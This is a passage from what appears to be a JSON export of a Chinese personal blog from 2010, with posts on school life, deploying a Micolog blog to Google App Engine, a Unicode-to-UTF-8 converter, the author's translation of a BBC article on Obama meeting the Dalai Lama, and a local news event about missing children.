2em;\"\u003e然後更巨大的杯具又遂接而來，因為描圖，偶就跑到家裡面來睡覺了，因為經常半夜工作（外加娛樂）到2點多的緣故，所以上午都比較晚起來，好在前幾天第一節也沒有什麼課。但是就在昨天，昨天我睡過頭了！而且第一節課居然是大英啊！一起來看了下手機，8:14，然後還有我寢室長兩個未接電話……T_T我的人生大大的杯具了，怎麽辦？沒辦法，只好曠課第一節了，趁著課間去了。好在是第一節課，紀律方面都不是很嚴，僥倖逃過。但是老天又跟我開玩笑了，今天，就在今天，第一節課我又睡過頭了！而第一節居然有計算機製圖實驗，醒來一看手機，8:50了，我個杯具了，則麼辦？沒辦法只好到第三四節再去了，跟著三四班他們做吧（我們的實驗基本上是一二節一二班，三四節三四班的），這次也還好，因為有些孩子這兩天要補考啥的，所以紀律又不是太嚴，所以又僥倖逃過！但是下次就沒這麽好運了。\u003c/div\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 2em;\"\u003e對了對了，說道英語，很高興的通知大家，偶的四級終於過了！T_T歷盡千山萬水，無數艱難險阻，偶終於過了四級了！感謝人民，感謝CCTV，CET，CCAV，RMVB，AV等等無數人的支持！\n/另外，偶決定以後每次都先寫文再來做日誌頭的圖片，每次寫日誌只要一想到要做那個圖片就會退卻，額……/\u003c/div\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 2em;\"\u003e下面是個人吐槽，大家基本上可以無視：\u003c/div\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 2em;\"\u003e\u003cem\u003e\u003cspan style=\"color: #ff6600;\"\u003eThough learning is very important, it can't  be all your life! If you lost some other important spirit during your road of study, I think it can't support anything even though you have the highest result. We must remember that we should  work hard but not be unscrupulous.\u003c/span\u003e\n\u003c/em\u003e\u003c/div\u003e","time":3,"title":"開學第一周"},{"comments":{"data":[34],"errmsg":"","errno":0},"contents":"\rGAE就不用我向大家解释了吧，引用维基的介绍：\rGoogle App Engine是一个开发、托管网络应用程序的平台，使用Google管理的数据中心。它在2008年4月发布了第一个beta版本。\rGoogle App Engine使用了云计算技术。它跨越多个服务器和数据中心来虚拟化应用程序。[1] 其他基于云的平台还有Amazon Web Services和微软的Azure服务平台等。\rGoogle App Engine在用户使用一定的资源时是免费的。支付额外的费用可以获得应用程序所需的更多的存储空间、带宽或是CPU负载。[2]\r支持的编程语言和框架\r当前，Google App Engine支持的编程语言是Python和Java（通过扩展，可以支持其他JVM语言，诸如Groovy、JRuby、Scala和Clojure）。支持Django、WebOb、PyYAML的有限版本。Google说它准备在未来支持更多的语言，Google App Engine也将会独立于某种语言。任何支持WSGI的使用CGI的 Python框架可以被使用。框架可以与开发出的应用程序一同上传，也可以上传使用Python编写的第三方库。[3][4]\r更多介绍请转至: WikiPedia.Org\r好了，废话少说，这里以Python为例子进行图解，首先我们要下载Python这个语言程序包，由于官方网站已经被GFW了，所以这里直接放上Python的FTP下载地址：http://www.python.org/ftp/python/2.5.1/python-2.5.1.msi\r大家也可以点击这里自己选择版本进行下载。\rPS:我就奇怪了，堂堂的一门计算机语言的官方网站，你GFW没事去屏蔽人家干什么？！\r下载安装好后，我们还需要另外一个工具，那就是GoogleAppEngine For Python，下载地址是：传送门\r如果你还没有Gmail账户的话，请到相关页面申请一个Gmail账户，如果你已经有了Gmail账户，但是没有GoogleAppEngine的话，请参见教你如何申请GAE这篇文章。\r好了，准备工作都做好了，那么第一步，你要在GAE新建一个Application，如图1-2所示\r现在以假设你创建了一个ID号为imnerd的应用为例讲解如何上传程序到GAE空间，这里所用的程序是Python版类WordPress Micolog程序，由国人开发的一款强大的程序，可导入WordPress的XML文件等等……这是最新版0.7Beta2的下载地址：http://code.google.com/p/micolog/downloads/list\r要提醒的是，仅仅这样还是没有用的，Python还是不能运行，必须将Python的安装目录添加到环境变量中，具体的做法是右键单击我的电脑（或者是计算机）选择属性，然后选择高级（Win7/Vista选择高级系统设置），再选择环境变量，在系统变量的变量里面，找到PATH变量，然后双击PATH变量的值，在后面添加“;C:\\Python25”（不包括引号！），C:\\Python25是你的Python安装地址，如果有所差异请自行做相应修改！然后点击确定～\r下面我们要对Micolog程序进行相应的修改，首先我们要打开app.yaml，用记事本或者写字板程序都成。将第一行的application后面的值改成你申请的空间ID，本文为imnerd！就是图一要填入的Identifies。然后由于程序本身的原因，我们要删除掉index.yaml才能正常的运行程序。\r然后我们单击开始，点击运行，输入cmd（Win7直接在搜索框中输入cmd并回车即可）运行DOS窗口，输入“appcfg.py update C:/users/michael/desktop/micolog”后面这个路径是你的micolog程序的路径，这里以桌面的micolog文件夹为例，请根据情况对其修改\r然后DOS窗口会自动运行，途中会让你输入mail和password的，所要要注意了！而且password输入的时候是没有显示的，星号也没有，所以你只管输，输完点回车就成！\r好了，这样文件已经上传完了啦，浏览器输入http://imnerd.appspot.com观看一下吧，哈哈！（imnerd为ID号，请做相应修改！）\r","count":1725,"date":"2010年02月28日","featuredImage":null,"permalink":"https://imnerd.org/how-to-use-gae-2.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1345\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/taohua.png\" alt=\"\" width=\"450\" height=\"115\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; color: #333399; font-size: 14px; font-family: microsoft yahei, microsoft jhenghei;\"\u003eGAE就不用我向大家解释了吧，引用维基的介绍：\r\n\u003cblockquote\u003eGoogle App Engine是一个开发、托管网络应用程序的平台，使用Google管理的数据中心。它在2008年4月发布了第一个beta版本。\r\nGoogle App Engine使用了云计算技术。它跨越多个服务器和数据中心来虚拟化应用程序。[1] 其他基于云的平台还有Amazon Web Services和微软的Azure服务平台等。\r\nGoogle App Engine在用户使用一定的资源时是免费的。支付额外的费用可以获得应用程序所需的更多的存储空间、带宽或是CPU负载。[2]\r\n支持的编程语言和框架\r\n当前，Google App Engine支持的编程语言是Python和Java（通过扩展，可以支持其他JVM语言，诸如Groovy、JRuby、Scala和Clojure）。支持Django、WebOb、PyYAML的有限版本。Google说它准备在未来支持更多的语言，Google App Engine也将会独立于某种语言。任何支持WSGI的使用CGI的 Python框架可以被使用。框架可以与开发出的应用程序一同上传，也可以上传使用Python编写的第三方库。[3][4]\r\n更多介绍请转至: \u003ca href=\"http://zh.wikipedia.org/wiki/GAE\"\u003eWikiPedia.Org\u003c/a\u003e\u003c/blockquote\u003e\r\n好了，废话少说，这里以Python为例子进行图解，首先我们要下载\u003ca href=\"http://zh.wikipedia.org/wiki/Python\"\u003ePython\u003c/a\u003e这个语言程序包，由于官方网站已经被GFW了，所以这里直接放上Python的FTP下载地址：\u003ca href=\"http://www.python.org/ftp/python/2.5.1/python-2.5.1.msi\"\u003ehttp://www.python.org/ftp/python/2.5.1/python-2.5.1.msi\u003c/a\u003e\r\n大家也可以\u003ca href=\"http://www.python.org/ftp/python/\"\u003e点击这里\u003c/a\u003e自己选择版本进行下载。\r\nPS:我就奇怪了，堂堂的一门计算机语言的官方网站，你GFW没事去屏蔽人家干什么？！\r\n下载安装好后，我们还需要另外一个工具，那就是GoogleAppEngine For Python，下载地址是：\u003ca href=\"http://googleappengine.googlecode.com/files/GoogleAppEngine_1.3.1.msi\"\u003e传送门\u003c/a\u003e\r\n如果你还没有Gmail账户的话，请到相关页面申请一个Gmail账户，如果你已经有了Gmail账户，但是没有GoogleAppEngine的话，请参见\u003ca href=\"https://imnerd.org/apply-gae.html\"\u003e教你如何申请GAE\u003c/a\u003e这篇文章。\r\n好了，准备工作都做好了，那么第一步，你要在GAE新建一个Application，如图1-2所示\r\n\u003c/div\u003e\r\n\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F02%2F1.png\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F02%2F1_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\r\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F02%2F2.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F02%2F2_m.jpg\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":4,"title":"如何上传文件到GAE"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"\r今天教大家如何申请Google App Engine，你问为什么？嘿嘿～为后文打伏笔啊～这几天的文章是高耦合度的哦～\r首先我们要到Google App Engine注册帐号～地址图片上有，太懒了就不打了……\r致此你的Gmail帐号就成功注册了GAE了，那么下面我们要创建一个Application的话又该怎么做呢？怎么做？看图呗～首先我们要登录GAE的后台，或者登录Google账户控制面板，选择GAE旁边的My Application进入也是一样的～\r","count":215,"date":"2010年02月27日","featuredImage":null,"permalink":"https://imnerd.org/apply-gae.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1363\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/apply-gae.png\" alt=\"\" width=\"450\" height=\"120\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e今天教大家如何申请Google App Engine，你问为什么？嘿嘿～为后文打伏笔啊～这几天的文章是高耦合度的哦～\r\n首先我们要到Google App Engine注册帐号～地址图片上有，太懒了就不打了……\u003c/div\u003e\r\n\u003ca class=\"highslide-image\" href=\"https://imnerd.org/wp-content/uploads/2010/02/GAE/1.1.PNG\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/GAE/1.1_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\r\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/wp-content/uploads/2010/02/GAE/1.2.PNG\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/GAE/1.2_m.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":1,"title":"多图教你申请GAE"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":"\r当你看到这篇文章的时候，我可能已经在去学校的路上了，没错，这篇文章其实是定时发布的。（感觉我在写遗书！啊啊啊啊！）寒假是快乐的，是温馨的，是闲暇的，还是吃饱了撑的（这个寒假真的吃了很多东西）。放假时间都是过的很快的，这点大家心知肚明，当做自己不喜欢的事情的时候，时间自然是过的很慢的。时间不变，只是看时间的人在变（这句话好熟啊），这个寒假我曾经说过要做很多事情，也打算要做很多事情，更加准备了要做很多事情，可是可是很多事情还是没有做好。\n一、比如我打算这个寒假学习一下PHP的，结果书还没反倒百页呢，就结束了；\n二、比如我还说要做下VB的呢，结果上级就做了两道题就又结束了。\n三、虽然大的事情没有完成，不过小的事情还是完成了一些的，比如我说要仿照fanfou.im的气泡模式做一个PageCookery的皮肤，花了几个小时终于是实现了（凑合撮合吧！）；\n四、顺便我还汉化了ImageVue，这个算是附带的吧；\n五、杂七杂八的还捣鼓了一些，但都是些杂碎。\n六、貌似还有个东西要我搜集资料……结果全忘了……= =\n这两天其实真的很杯具，不知道大家还记不记得我去年有描图赚外快的事情否。反正这几天是杯具了，由于是第一次做，当初是直接把CDR文件给导出成JPEG文件的，但是JPEG不是矢量图啊，而且编辑那边现在居然说图不清楚，让我拿CDR文件出来。都几个月了，像我这么爱折腾的孩子由于折腾过度，有几次都要格式化硬盘，想着反正都交稿了，备份下JPEG留个纪念就成了，CDR的就无所谓了，也就没管它。结果导致了现在的杯具，没办法，人家要，我只能重新描了，过程是艰巨的，结果是辛苦的，人嘛，是杯具的啊！\n然后还有就是今天（确切说是昨天）花了点时间把上次那个Unicode to UTF-8的转码网页装饰了一下，上次说了要装饰一下再放上来的么……稍微加了点图片再排了个版，背景也不知道放什么好啦，瞎放了一个，话说我还真只会仿，真要自己做起来真是无从下手呢。闲话少说，放上地址给大家围观啊：https://imnerd.org/bm.html\n/访问如果出现乱码的话可能是浏览器编码不当导致的，请将浏览器的字符编码选择为自动或者UTF-8/\n话说这个编码器还真是和放些很GFW的东西呢！我就抛砖引玉来一段吧～下面这段编译了的代码是从黄健翔的新浪微博上摘抄的，大家把代码复制了选择解码方式一即可查看到真正内容：\n\\8FD8\\6709\\5462\\30022004\\4E9A\\6D32\\676F\r\\5728\\6211\\56FD\\4E3E\\529E\\FF0C\\5EFA\\5B8F\n\\4E0D\\5E78\\53C8\\89E3\\8BF4\\4E86\\4E00\\573A\n\\97E9\\56FD\\7684\\6BD4\\8D5B\\FF0C\\7ED3\\679C\n\\4EBA\\5BB6\\5927\\4F7F\\9986\\6709\\4E00\\6B21\n\\6297\\8BAE\\8FC7\\6765\\FF0C\\8BF4\\5EFA\\5B8F\n\\7684\\8A00\\8BED\\91CC\\6709\\4E0D\\5C0A\\91CD\n\\4ED6\\4EEC\\8FD0\\52A8\\5458\\7684\\5730\\65B9\n\\FF0C\\90A3\\573A\\7403\\6211\\4ECE\\5934\\542C\n\\5230\\5C3E\\FF0C\\89E3\\8BF4\\6CA1\\6709\\4E00\n\\70B9\\513F\\6BDB\\75C5\\FF0C\\53EA\\662F\\56E0\n\\4E3A\\4ED6\\4EEC\\88AB\\4F0A\\6717\\7ED9\\706D\n\\4E86\\FF0C\\627E\\5730\\65B9\\51FA\\6C14\\800C\n\\5DF2\\3002\\5916\\4EA4\\90E8\\90A3\\5E2E\\6002\n\\8D27\\5C45\\7136\\53C8\\4ED6\\5988\\63A5\\53D7\n\\4E86\\FF1A\\4ED6\\4EEC\\4E2B\\7684\\6001\\5EA6\n\\6BD4\\4FE1\\8BBF\\529E\\5BF9\\5F85\\4EBA\\6C11\n\\597D\\591A\\4E86\n","count":1e3,"date":"2010年02月26日","featuredImage":null,"permalink":"https://imnerd.org/shift-between-unicode-and-utf8.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1374\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/Unicode-to-Utf8.png\" alt=\"\" width=\"450\" height=\"121\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Micorsoft Jhenghei; color: #333399;\"\u003e\r\n\u003cp\u003e当你看到这篇文章的时候，我可能已经在去学校的路上了，没错，这篇文章其实是定时发布的。（感觉我在写遗书！啊啊啊啊！）寒假是快乐的，是温馨的，是闲暇的，还是吃饱了撑的（这个寒假真的吃了很多东西）。放假时间都是过的很快的，这点大家心知肚明，当做自己不喜欢的事情的时候，时间自然是过的很慢的。时间不变，只是看时间的人在变（这句话好熟啊），这个寒假我曾经说过要做很多事情，也打算要做很多事情，更加准备了要做很多事情，可是可是很多事情还是没有做好。\u003c/p\u003e","time":2,"title":"Unicode与UTF8互转编译器"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":"\r狗日的GFW，害我在译言的第一篇译文就这样胎死腹中，我郁闷！好，译言不能发是吧，我博客还不能么！我就发，看你能把我怎么样！我也是活该，什么文不好，偏偏找篇政治文来译，翻译完了才想起来译言也被墙过……我个囧啊，不说了，附上我的译文和原文(原文摘取自BBC)：\nA visit by the Dalai Lama to Washington has \"seriously undermined\" relations between the US and China, Beijing says.\r北京官方发言人说：“达赖喇嘛在华盛顿的访问已经严重破环了中美两国之间的关系！”\rIt released a strongly worded statement in response to US President Barack Obama's meeting with Tibet's spiritual leader, the Dalai Lama.\r在回复关于美国总统奥巴马会见西藏宗教领袖达赖喇嘛的问题上，发言中强硬的措辞已经明确的表明了中方的观点。\nChina had earlier expressed \u0026ldquo;strong dissatisfaction and resolute opposition\u0026rdquo; to the meeting with a man they see as a separatist.\n中方在很早就放出话表示会见一个我们认为是分裂主义者的人我们感到强烈的不满以及坚决反对！\nIt said the US should \u0026ldquo;take effective steps to eradicate the malign effects\u0026rdquo;.\n社会舆论认为美国应该“采取些有效的措施来杜绝某些有害的影响”。\nWashington had kept the Dalai Lama\u0026rsquo;s meeting low-key to emphasis it was private rather than political.\n华盛顿方面则一直强调“这只是一次私人的会面，不是官方行为”以保持着这次会见达赖喇嘛的低调性。 Hurt feelings\n破环两国关系\nDespite that, China\u0026rsquo;s Vice-Foreign Minister Cui Tiankai summoned ambassador Jon Huntsman to lodge a \u0026ldquo;solemn representation\u0026rdquo;.\n尽管如此，中国外交部副部长崔天凯还是召见了Jon Huntsman大使对此事进行了郑重交涉。\n“The behaviour of the US side seriously interferes in China\u0026rsquo;s internal politics and seriously hurts the national feelings of the Chinese people,\u0026quot; a ministry statement said.\n中国政府某部分发言人如是说，“美国单方面的行为已经与中国的本国政策产生严重抵触，这种行为严重伤害了中国人民之间的友好关系。”\nChina never reacts well to these meetings, which have been taking place for nearly two decades, says the BBC\u0026rsquo;s Quentin Sommerville in Beijing.\nBBC记者Quentin Sommerville在北京说道，“中国在近二十年内都从未生命过支持这种会面。”\nBut this time it has expressed its dissatisfaction in stronger terms than ever before.\n不过这次表现出了前所未有的强烈不满。\nThe meetings highlight Beijing\u0026rsquo;s terrible human rights record, and remind the world that many Tibetans are deeply unhappy with China\u0026rsquo;s heavy-handed rule in Tibet, our correspondent adds.\n我们的通讯记者增加了如下话语，这次的会见显著表现了北京政府恶劣的人权纪录，并且提醒了世界有许多西藏人民由于生活在中国政府的压迫政策下表现的非常不快乐。\nThe White House meeting was held amid recent tensions, mainly over a US arms sale to Taiwan and allegations of Chinese cyber-spying.\n这次的白宫会面，包括之前的美军对台军出售武器以及中国网络间谍的指控等等，使得原本紧张的国际关系变得更加恶劣。\nChinese Foreign Ministry spokesman Ma Zhaoxu said in a statement that the meeting between President Obama and the exiled Tibetan leader \u0026ldquo;violated the US government\u0026rsquo;s repeated acceptance that Tibet is a part of China and it does not support Tibetan independence\u0026rdquo;.\n中国外交部发言人马朝旭说美国总统奥巴马与被放逐了的西藏宗教领导之间的会面已经违反了美国政府强调的接受西藏是中国领土的一部分以及不支持西藏独立的事实。\nHe added: \u0026ldquo;Use concrete actions to promote the healthy and stable development of Sino-US relations.\u0026quot;\n他仍指出，会使用具体措施来提升中美关系的健康与平稳发展。\nDuring the low-key meeting, President Obama expressed his \u0026ldquo;strong support\u0026rdquo; for Tibetan rights, his spokesman said.\n奥巴马总统的发言人说：“在这次低调的会面中，奥巴马总统表达了他对西藏人权的‘强烈支持’！”\nThe closed talks were held at the White House\u0026rsquo;s Map Room instead of the more official Oval Office, in an attempt to signal to China that it was a private, not a political meeting.\n这次会晤被安排在白宫总统住所(Map Room)而不是总统办公室(Oval Office)，意图向中国指出这只是一次私人的会面，并不是官方性行为。\nMr Obama praised the Dalai Lama\u0026rsquo;s commitment to non-violence and \u0026ldquo;his pursuit of dialogue with the Chinese government\u0026rdquo;, the spokesman said.\n奥巴马总统发言人同时指出，奥巴马先生高度赞扬了达赖喇嘛的非暴力和他力图和中国政府对话的愿望的承诺。\nThe Dalai Lama told reporters outside the White House that he expressed to the president his admiration for the US as a \u0026ldquo;champion of democracy, freedom, human values\u0026rdquo; and creativity.\n而达赖喇嘛向白宫外的记者说道，他向奥巴马总统表达了他对美国作为“民主，自由，人权无价以及充满活力”的国度的赞美。\n\u0026lsquo;Deteriorating relations\u0026rsquo;\n日益恶化的关系\nThe White House had defended the decision to receive the Dalai Lama, saying he was \u0026ldquo;an internationally respected religious leader\u0026rdquo;.\n白宫方面则对接受达赖喇嘛的请求的决定进行了辩护，白宫声称达赖喇嘛是“以为国际上受人尊敬的宗教领导”。\nOn the streets of Beijing, residents criticised the US to the BBC.\n在北京的大街小巷上，居民们想 BBC投诉他们对美国的不满。\nZhong An Huan, a university lecturer, said China\u0026rsquo;s attitude on the issue was \u0026ldquo;clear and resolute\u0026rdquo;.\n钟安环，大学教授，指出中国在这个问题的态度上是“清楚明了”的。\n\u0026ldquo;We have already warned [the US] and if they continue in this way, they will have to bear the consequences,\u0026rdquo; he said.\n他仍说：“我们已经试图警告过美国政府，如果他们继续这种无视他国的行径，他们将不得不为此而承担后果。”\nJin Canrong, from the School of International Studies at Renmin University, said the political atmosphere would get worse.\n金灿荣，来自人民大学国际关系学院的教授，表示世界的政治气氛将因为变得更加糟糕。\n\u0026ldquo;For the short term, I think the political atmosphere will deteriorate to some extent and some kind of dialogue will be suspended and Chinese willingness to cooperate on international issues will be weakened,\u0026rdquo; he said.\n金教授仍指出：“在短期内，我认为某些区域的政治气氛将会变得更加恶劣，并且中国意愿在国际事务上的合作也会变得越来越弱。\nChina, which sent troops into Tibet in 1950 but has long claimed it as its own, considers the Dalai Lama a separatist. Beijing tries to isolate the spiritual leader by asking foreign leaders not to see him.\n中国政府在1950年就已经派兵入驻西藏，但对外长期声明西藏仍是它自己的。虽然如此，达赖喇嘛仍无疑是分裂主义者。北京政府试图通过请求其他国家领导拒绝会见他以鼓励这回宗教领导。\nThe Dalai Lama fled Tibet in 1959 after a failed uprising against Chinese rule and has since been living in India.\n达赖喇嘛于1959年在一次抗击中国政府的政策的暴动失败后逃离了西藏并至今仍居住在印度。\nThe Dalai Lama has met every sitting US president since 1991, with each visit drawing Chinese ire.\n达赖喇嘛至1991年已经会见了每任美国总统，每次的会面总会激起中国政府的愤怒。\nBut George W Bush\u0026rsquo;s meeting with the Dalai Lama in 2007 was the first time a sitting US president had appeared in public with the exiled Tibetan leader.\n但是 2007年小布什与达赖喇嘛的会面是第一次在任的总统和这为放逐的西藏宗教领导一起出现在公众。\n","count":2058,"date":"2010年02月25日","featuredImage":null,"permalink":"https://imnerd.org/gfw-cant-change-me.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1349\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/horse.png\" alt=\"\" width=\"450\" height=\"125\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: microsoft yahei, microsoft jhenghei; color: #333399;\"\u003e\r\n\u003cp\u003e狗日的GFW，害我在译言的第一篇译文就这样胎死腹中，我郁闷！好，译言不能发是吧，我博客还不能么！我就发，看你能把我怎么样！我也是活该，什么文不好，偏偏找篇政治文来译，翻译完了才想起来译言也被墙过……我个囧啊，不说了，附上我的译文和原文(原文摘取自\u003ca href=\"http://news.bbc.co.uk/2/hi/americas/8523319.stm\" target=\"_blank\"\u003eBBC\u003c/a\u003e)：\u003c/p\u003e","time":5,"title":"我就不和谐了，GFW能拿我怎么办！"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\r好吧，其实偶一直都很郁闷为啥很多大事情（不管好的坏的）怎么都不在偶身边发生呢？然后然后，某天早上QQ弹出的新闻就把我震精了，浙江省天台县5名儿童失踪！啊啊啊啊啊！偶就在天台县啊，然后偶很震精的去看了新闻，结果地址居然是三合镇某村，啊啊啊啊啊啊啊！偶在三合镇啊，然后没过一会儿，我们家就热闹了。偶妈来报道说就偶们隔壁没多远的地方有5名儿童失踪了，偶还想着怎么一天偶们这里就失踪10个小孩啊，结果想想不对，然后偶又震精了，真的有大事啊！！！好吧，偶承认偶鸡冻了，虽然这种事情不应该激动的，不过偶真的很鸡冻啊，原来偶身边也有大事情发生诶！\r然后没过多久村里面就有消息传来说是找到小孩了，在水库里（这里是偶妈误传，应该是池塘）。再没过多久就有警察叔叔来打捞了，偶妈他们还去看打捞了的说，偶要上网，就没去了……= =然后偶妈回来没过多久TX就出了跟踪报道了。终于尝到了比新闻记者还早知道某些东西的快感了～～额，太鸡冻了，搞得我下面要说什么都忘记了，哦，记起来了，偶妈说是因为池塘的水堵住了才发现的……最后来一句：逝者已矣，生者还需坚强的活下去！为蔡家默哀！\r偶发推的时间是：2010-02-22 08:21:50 真相请见：传送门\r然后腾讯发文的时间是：2010-02-22 22:54 真相请见：传送门\r附上TX新闻关于此案件的专版：http://news.qq.com/zt/2010/szcs/index.htm\r听说最后被定为溺水身亡，具体的分析今天才能出来，大家可以到TX专版去观看跟踪报道。\r放个关于此案件的视频给大家看看吧：\r最后附上偶这两天一直在听的歌，单曲循环连续播放了两天额，乡村风格的Love Story，请大家慢慢欣赏哈\r","count":693,"date":"2010年02月23日","featuredImage":null,"permalink":"https://imnerd.org/1329.html","summary":"\u003cdiv class=\"audio-player-placeholder\"\u003e\u003cimg class=\"alignnone size-full wp-image-1335\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/kill-man.png\" alt=\"\" width=\"448\" height=\"121\" /\u003e\u003c/div\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e好吧，其实偶一直都很郁闷为啥很多大事情（不管好的坏的）怎么都不在偶身边发生呢？然后然后，某天早上QQ弹出的新闻就把我震精了，浙江省天台县5名儿童失踪！啊啊啊啊啊！偶就在天台县啊，然后偶很震精的去看了新闻，结果地址居然是三合镇某村，啊啊啊啊啊啊啊！偶在三合镇啊，然后没过一会儿，我们家就热闹了。偶妈来报道说就偶们隔壁没多远的地方有5名儿童失踪了，偶还想着怎么一天偶们这里就失踪10个小孩啊，结果想想不对，然后偶又震精了，真的有大事啊！！！好吧，偶承认偶鸡冻了，虽然这种事情不应该激动的，不过偶真的很鸡冻啊，原来偶身边也有大事情发生诶！\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e然后没过多久村里面就有消息传来说是找到小孩了，在水库里（这里是偶妈误传，应该是池塘）。再没过多久就有警察叔叔来打捞了，偶妈他们还去看打捞了的说，偶要上网，就没去了……= =然后偶妈回来没过多久TX就出了跟踪报道了。终于尝到了比新闻记者还早知道某些东西的快感了～～额，太鸡冻了，搞得我下面要说什么都忘记了，哦，记起来了，偶妈说是因为池塘的水堵住了才发现的……最后来一句：逝者已矣，生者还需坚强的活下去！为蔡家默哀！\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e偶发推的时间是：2010-02-22  08:21:50  真相请见：\u003ca href=\"http://fanfou.im/status\u0026amp;id=9466608045\" target=\"_blank\"\u003e传送门\u003c/a\u003e\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e然后腾讯发文的时间是：2010-02-22 22:54 真相请见：\u003ca href=\"http://news.qq.com/a/20100223/000035.htm\" target=\"_blank\"\u003e传送门\u003c/a\u003e\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e附上TX新闻关于此案件的专版：http://news.qq.com/zt/2010/szcs/index.htm\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e听说最后被定为溺水身亡，具体的分析今天才能出来，大家可以到TX专版去观看跟踪报道。\u003c/div\u003e\r\n\u003cdiv class=\"audio-player-placeholder\"\u003e放个关于此案件的视频给大家看看吧：\u003c/div\u003e\r\n\u003c/div\u003e\r\n\u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"370\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"align\" value=\"middle\" /\u003e\u003cparam name=\"src\" value=\"http://player.youku.com/player.php/sid/38415824/v.swf\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"450\" height=\"370\" src=\"http://player.youku.com/player.php/sid/38415824/v.swf\" quality=\"high\" align=\"middle\"\u003e\u003c/embed\u003e\u003c/object\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e最后附上偶这两天一直在听的歌，单曲循环连续播放了两天额，乡村风格的Love Story，请大家慢慢欣赏哈\u003c/div\u003e\r\n\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"400px\" height=\"27px\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"bgcolor\" value=\"#ffffff\" /\u003e\u003cparam name=\"flashvars\" value=\"playerMode=embedded\" /\u003e\u003cparam name=\"src\" value=\"https://www.google.com/reader/ui/3247397568-audio-player.swf?audioUrl=http://storage.live.com/items/8AAEE749DE3922BE!502?filename=Love%20Story.mp3\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"allowfullscreen\" value=\"true\" /\u003e\u003cparam name=\"quality\" value=\"best\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"400px\" height=\"27px\" src=\"https://www.google.com/reader/ui/3247397568-audio-player.swf?audioUrl=http://storage.live.com/items/8AAEE749DE3922BE!502?filename=Love%20Story.mp3\" quality=\"best\" allowfullscreen=\"true\" wmode=\"transparent\" flashvars=\"playerMode=embedded\" bgcolor=\"#ffffff\"\u003e\u003c/embed\u003e\u003c/object\u003e\r\n --\u003e\r\n \u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 